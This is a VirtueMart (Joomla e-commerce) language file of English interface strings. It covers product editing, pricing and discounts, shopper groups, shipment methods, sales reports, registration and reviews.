COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="The product was successfully cloned" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="Also clone these Child Items" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="Clone Product Options" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="Create Child Product" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="Custom Field" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N="Custom
      %s" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="Custom Fields" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="All Shoppers" COM_VIRTUEMART_PRODUCT_DESC="Product Description" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Description" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Manufacturer" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="Product Details Page" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="From" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="Dimension Unit" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Price with discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="You can use the Product Discount Form to add discounts!" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="The product discount has been added." COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="Discount Type" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="Shall the amount be a percentage or a total?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="Apply generic rules" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="Override" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="You can use this to temporarly discount a product" COM_VIRTUEMART_PRODUCT_EDIT_CHILD="Edit Product Child" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="Send Email to shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="Content" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="Date sent" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="Please enter a message" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="Please enter a subject for the email" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="No shopper bougth this product" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="Select the 'Status of ordered products'" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="Select the 'Status of ordered products' of orders received to display the list of the shoppers who will receive the email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND="Send Email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="Send the email to the shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="Send an email to shoppers who bought this product (%d shopper(s))" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="Message about the product %1s" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="Subject" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Ask a question about this product" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="Return to product file list" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="Search Product" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="Fill in any text here that will be displayed to the shopper on the product details.
      e.g.: 24h, 48 hours, 3 - 5 days, On Order....." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="OR select an Image to be displayed on the Details Page.
      The images reside in the directory %s
      " COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="Availability Date" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="Here you can fill in the number of units in a box. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="Calculate the Cost price" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Check this to calculate the Cost price with the desired Final price" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Parent & Child Products" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="After tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="Before tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="Are you sure you want to delete this Item?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="Are you sure you want to delete this Product and the Items related to it?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="Product Description" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="Discounted Price" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="Here you can override the discount setting. Fill in a special discount price for this product.
      The Shop will create a new discount record from the discounted price." COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="Discount " COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="Discount Type" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Edit this product" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="Emails" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="Height" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="In Stock" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="Item Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="Images label" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="Product item Information" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="Item status" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="Length" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="Maximum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="Minimum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_NAME="Product Name" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="New Product" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="Booked, ordered products" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="Units in a Package" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="Here you can fill in the number of units in a package. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_PARENT="Parent" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="Edit Parent" COM_VIRTUEMART_PRODUCT_FORM_PRICES="Product pricing" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="Base price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="Base price with tax" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="The base price is the cost price converted into vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="Cost price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="This is actual cost price in the currency selected" COM_VIRTUEMART_PRODUCT_FORM_PRICE_DISCOUNT="Discount" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="Final price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="The final price is the baseprice with all affecting rules applied in vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="Product Price (Gross)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="Product Price (Cost)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="Product Price (Retail)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="Tax" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="Custom Fields" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="Product Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="Product Images" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="Product Information" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="Child Product List" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="Product Status" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="Product Types" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="Product Variants" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="Property" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="New Property" COM_VIRTUEMART_PRODUCT_FORM_PUBLISH="Published?" COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="Pricing rules overrides" COM_VIRTUEMART_PRODUCT_FORM_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="On Featured" COM_VIRTUEMART_PRODUCT_FORM_STEP_ORDER="Purchase Quantity Steps" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="Short Description" COM_VIRTUEMART_PRODUCT_FORM_UNIT="Unit" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="piece" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="Update Item" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendor" COM_VIRTUEMART_PRODUCT_HEIGHT="Product Height" COM_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_PRODUCT_ID_MISSING="A product ID is missing." COM_VIRTUEMART_PRODUCT_IMAGE="Product image" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="Image URL must begin with http." COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="Failed deleting Product Images!" COM_VIRTUEMART_PRODUCT_INFORMATION="Product Information" COM_VIRTUEMART_PRODUCT_INVENTORY="Inventory" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="Stock Value" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="Value" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="Weight" COM_VIRTUEMART_PRODUCT_IN_STOCK="Product in stock" COM_VIRTUEMART_PRODUCT_LENGTH="Product Length" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="Search Product" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="after" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="before" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="with Price modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="without Price" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="only parent" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="Vendor Name" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="List all %s children" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="The product %s has a stock of %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="The product %s has a low stock" COM_VIRTUEMART_PRODUCT_LWH_UOM="Length/Weight/Height Unit of Measure" COM_VIRTUEMART_PRODUCT_MASSXREF="Bulk association (i.e. categories, shoppergroups) with selected products" COM_VIRTUEMART_PRODUCT_MEDIA="Media File" COM_VIRTUEMART_PRODUCT_MOD="Products" COM_VIRTUEMART_PRODUCT_NAME="Product Name" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Product Name" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="Email(s) sent" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="Number to notify (leave blank for all)" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="Notify users" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="The product was not successfully cloned" COM_VIRTUEMART_PRODUCT_NOT_FOUND="Sorry, but the Product you have requested was not found!" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="Child product not created successfully" COM_VIRTUEMART_PRODUCT_OF="of" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Product Order Levels" COM_VIRTUEMART_PRODUCT_PACKAGING="Product Packaging" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="In case your product is sold in units, like meters, grams or, liters, enter here the amount. For example 0.7 for a 0.7 %1$s bottle or 2.5 for 250 ml in case you choosed for %2$s %3$s" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="Product has Children?" COM_VIRTUEMART_PRODUCT_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_DATE_RANGE="Date range" COM_VIRTUEMART_PRODUCT_PRICE_FROM="From" COM_VIRTUEMART_PRODUCT_PRICE_QUANTITY_RANGE="Quantity range" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_TO="To" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="Internal note" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="Product Type" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="Search for Related Products" COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Family" COM_VIRTUEMART_PRODUCT_S="Products" COM_VIRTUEMART_PRODUCT_SALES="Product Sales" COM_VIRTUEMART_PRODUCT_SALESPRICE="Sales price " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Sales price without tax " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Salesprice with discount " COM_VIRTUEMART_PRODUCT_SHOPPERS="Send an email to Shoppers" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="List of shoppers who bought %1$s" COM_VIRTUEMART_PRODUCT_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_SPECIAL="Featured Product" COM_VIRTUEMART_PRODUCT_S_DESC="Product Short description" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Tax amount " COM_VIRTUEMART_PRODUCT_TAX_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="Apply default rules" COM_VIRTUEMART_PRODUCT_UNIT="Product Unit" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="Use notification template" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="If checked, the default notification will be sent." COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s has arrived!" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="Notified" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="Notify these users now (when you have updated the number of products stock)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="Waiting List" COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="Users waiting to be notified when this product is back in stock" COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="No waiting users" COM_VIRTUEMART_PRODUCT_WEIGHT="Product Weight" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Product Weight Unit" COM_VIRTUEMART_PRODUCT_WIDTH="Product Width" COM_VIRTUEMART_PRODUCT_XREF_CAT="Bulk associate categories" COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="Execute bulk association of categories" COM_VIRTUEMART_PRODUCT_XREF_NAMES="Selected products %s" COM_VIRTUEMART_PRODUCT_XREF_SGRPS="Bulk associate shoppergroups" COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE="Execute bulk association of shoppergroups" COM_VIRTUEMART_PUBLISHED="Published" COM_VIRTUEMART_PUBLISH_ITEM="Publish item" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="used RaiseWarning: Was not able to save the VirtueMart user data" COM_VIRTUEMART_RATE_FORM_VAT_ID="Tax" COM_VIRTUEMART_RATE_NOM="Rating" COM_VIRTUEMART_RATINGS="Reviews & Ratings" COM_VIRTUEMART_RATING_DATE_TITLE="Review date" COM_VIRTUEMART_RATING_EDIT_TITLE="Edit Shopper Review" COM_VIRTUEMART_RATING_TITLE="Rating" COM_VIRTUEMART_RECENT_PRODUCTS="Recently Viewed Products" COM_VIRTUEMART_REGISTER_ACCOUNT="Register an Account?
      An Account allows you to come back to this shop and view all the orders you have made." COM_VIRTUEMART_REGISTER_TITLE="Registration" COM_VIRTUEMART_REGISTRATION_FORM_NONE="none" COM_VIRTUEMART_REG_COMPLETE="
      Registration Complete!
      " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
      Registration Completed!

      Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_REG_VENDOR_COMPLETE="
      Registration of vendor complete!
      " COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="
      Registration of vendor Completed!

      Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_RELATED_CATEGORIES="Related Categories" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="Add categories to display in the Product Details Page" COM_VIRTUEMART_RELATED_PRODUCTS="Related Products" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="You may also be interested in this/these product(s)" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="Add products to display in the Product Details Page" COM_VIRTUEMART_RELOAD="Reload" COM_VIRTUEMART_REMEMBER_ME="Remember me" COM_VIRTUEMART_REPORT="Revenue Report" COM_VIRTUEMART_REPORT_BASIC_DATE="Date" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="Individual Product Listings" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="Last 60 days" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="Last 90 days" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="Last Month" COM_VIRTUEMART_REPORT_BASIC_ORDERS="Orders" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="Product Listing" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="Report for" COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO="Revenue gross" COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO="Revenue net" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="Sales Activity Overview, // not used?" COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="Sales Reporting, // not used?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="Show this selected range" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="This Month" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="Total Items sold" COM_VIRTUEMART_REPORT_FROM_PERIOD="From: " COM_VIRTUEMART_REPORT_INTERVAL="Set Interval" COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="End Date" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="Daily" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="Monthly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="Weekly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="Yearly" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="Start Date" COM_VIRTUEMART_REPORT_PERIOD_LAST30="Last 30 days" COM_VIRTUEMART_REPORT_PERIOD_LAST60="Last 60 days" COM_VIRTUEMART_REPORT_PERIOD_LAST90="Last 90 days" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="This Month" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="This Week" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="This Year" COM_VIRTUEMART_REPORT_PERIOD_TODAY="Today" COM_VIRTUEMART_REPORT_SET_PERIOD="Set Period: " COM_VIRTUEMART_REPORT_TITLE="Report for the period from %s to %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="Until: " COM_VIRTUEMART_REPORT_UPDATEORDERITEMS="Update Order Items" COM_VIRTUEMART_REPORT_UPDATEORDERITEMS_WARN="For correct net price calculation you must update order items table. Use the button on top of the site." COM_VIRTUEMART_RESET="Reset" COM_VIRTUEMART_REVIEW="Shopper Review" COM_VIRTUEMART_REVIEW_COUNT="Characters written:" COM_VIRTUEMART_REVIEW_DETAILS="Shopper Review Details" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Please write down some more words for your review. Minimum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Please shorten your review. Maximum characters allowed: %s" COM_VIRTUEMART_REVIEW_FORM_LBL="Product Reviews" COM_VIRTUEMART_REVIEW_LOGIN="Please log in to write a review." COM_VIRTUEMART_REVIEW_RATE="Review & Rating" COM_VIRTUEMART_REVIEW_RATE_S="Reviews & Ratings" COM_VIRTUEMART_REVIEW_S="Shopper Reviews" COM_VIRTUEMART_RULES_EFFECTING="Rule(s) Affecting: " COM_VIRTUEMART_RULES_EFFECTING_TIP="Be aware that you see the prices with your conditions, that means always quantity = 1 and YOUR shoppergroup. Dont wonder that you see no taxes, if your are not in the group to be taxed. Dont wonder that you may see a strange discount, which you gave a tester group, which your are in. To see the prices for not logged users and similar, check the frontend, use the link provided at the title of the page" COM_VIRTUEMART_SAFE_PATH_DEFAULT_CREATED="Default safe path created: %1s" COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="Path for invoices created" COM_VIRTUEMART_SALES="Best Selling" COM_VIRTUEMART_SAMPLE_DATA="Install
      Sample Data" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="Sample data installed!!" COM_VIRTUEMART_SAVE="Save" COM_VIRTUEMART_SAVED_CART_TITLE="Saved Cart" COM_VIRTUEMART_SAVE_PERMISSIONS="Save Permissions" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="Search all Categories" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="Search all product info" COM_VIRTUEMART_SEARCH_AND="and" COM_VIRTUEMART_SEARCH_DESCRIPTION="Product description only" COM_VIRTUEMART_SEARCH_LBL="Search" COM_VIRTUEMART_SEARCH_MANU_VENDOR="Manufacturer / Vendor only" COM_VIRTUEMART_SEARCH_NOT="not" COM_VIRTUEMART_SEARCH_ORDER_ASC="Ascending Order" COM_VIRTUEMART_SEARCH_ORDER_DESC="Descending Order" COM_VIRTUEMART_SEARCH_PRODNAME="Product name only" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="Select all manufacturers" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Select manufacturers" COM_VIRTUEMART_SEARCH_TITLE="Search" COM_VIRTUEMART_SELECT="Select %s" COM_VIRTUEMART_SELECT_CATEGORY="Select a category..." COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="Select a plug-in " COM_VIRTUEMART_SELECT_FILE="Select a file" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="Select an item to delete" COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="Select an item to toggle" COM_VIRTUEMART_SELECT_MANUFACTURER="Select manufacturer" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="Select manufacturer category" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="Please select a Payment Method in the tab Payment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_PERIOD="Select period" COM_VIRTUEMART_SELECT_PRODUCT="Select a product" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="Please select a Shipment Method in the tab Shipment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_USER_TO_MODIFY="Select a user to modify" COM_VIRTUEMART_SEND_BUTTON="Send" COM_VIRTUEMART_SEND_SUB="Account details for %s at %s" COM_VIRTUEMART_SETSTOREOWNER="Set store owner" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="Default Shopper group changed" COM_VIRTUEMART_SHARED="Shared" COM_VIRTUEMART_SHARED_TOGGLE_OFF="Set unshared" COM_VIRTUEMART_SHARED_TOGGLE_ON="Set shared" COM_VIRTUEMART_SHIPMENTMETHOD="Shipment Method" COM_VIRTUEMART_SHIPMENTMETHOD_S="Shipment Methods" COM_VIRTUEMART_SHIPMENT_CLONE="Clone shipment" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="Shipment successfully cloned" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="Shipment Description" COM_VIRTUEMART_SHIPMENT_NAME="Shipment Name" COM_VIRTUEMART_SHIPMENT_NAME_LBL="Shipment Name" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="Shipment cloning failed" COM_VIRTUEMART_SHIPPINGRATE="Shipment Rate" COM_VIRTUEMART_SHIPPINGRATE_DETAILS="Shipment Rate Details" COM_VIRTUEMART_SHIPPINGRATE_S="Shipment Rates" COM_VIRTUEMART_SHIPPING_CLASS_NAME="Shipment Method" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="Select the Shipment Method to use for this method, and click Apply button for Joomla 1.5.x, or Save button for Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="Shipment Description" COM_VIRTUEMART_SHIPPING_FORM_NAME="Shipment Name" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_SHIPPING_FORM_VAT="VAT" COM_VIRTUEMART_SHIPPING_NAME="Shipment name" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_SHIPTO_TEXT="You can add shipment locations to your account. Please think of a suitable nickname or code for the shipment location you select below." COM_VIRTUEMART_SHOPPERGROUP="Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_ADDED="The Shopper Group has been added." COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="Shopper group already exists for this vendor." COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT="You can't set this shopper group %1$s with id %2$s as default" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="Default Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="New shoppers will be assigned to this group" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="You can't delete the default shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="There are still users assigned to this shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="Cannot delete the default Shopper Group." COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="This Shopper Group Id" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="Please select a Shopper Group to delete." COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="There are still Users assigned to this Shopper Group ID" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="Shopper Group Description" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="Shopper Group Details" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="Enable shoppergroup specific price display" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="Price Discount on default Shopper Group (in %)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="A positive amount X means" COM_VIRTUEMART_SHOPPERGROUP_IDS="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="Shopper Group Discount" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="Shopper Group incl. Tax" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="You must enter a Shopper Group name." COM_VIRTUEMART_SHOPPERGROUP_NAME="Shopper Group Name" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="The given shopper group name already exists for the given vendor." COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="Shopper group names should not have more than 32 characters" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="shopper groups must have a name" COM_VIRTUEMART_SHOPPERGROUP_S="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="The Shopper Group has been updated." COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="Failed to update the Shopper Group" COM_VIRTUEMART_SHOPPER_GROUP_NAME="Shopper group name" COM_VIRTUEMART_SHOPPER_STATE_NAME="state name" COM_VIRTUEMART_SHOW="Show" COM_VIRTUEMART_SHOW_DISCOUNTED="Discounted Products" COM_VIRTUEMART_SHOW_FEATURED="Featured Products" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="Show the Remember me checkbox on login?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="When checked, the remember me box is shown on checkout. Not recommended when using shared ssl, because the shopper could choose not to get a user cookie - but that user cookie is required to keep the user logged in on both domains." COM_VIRTUEMART_SHOW_TITLE="Show Title" COM_VIRTUEMART_SKU="Sku" COM_VIRTUEMART_SLUG="Sef Alias" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="Error" 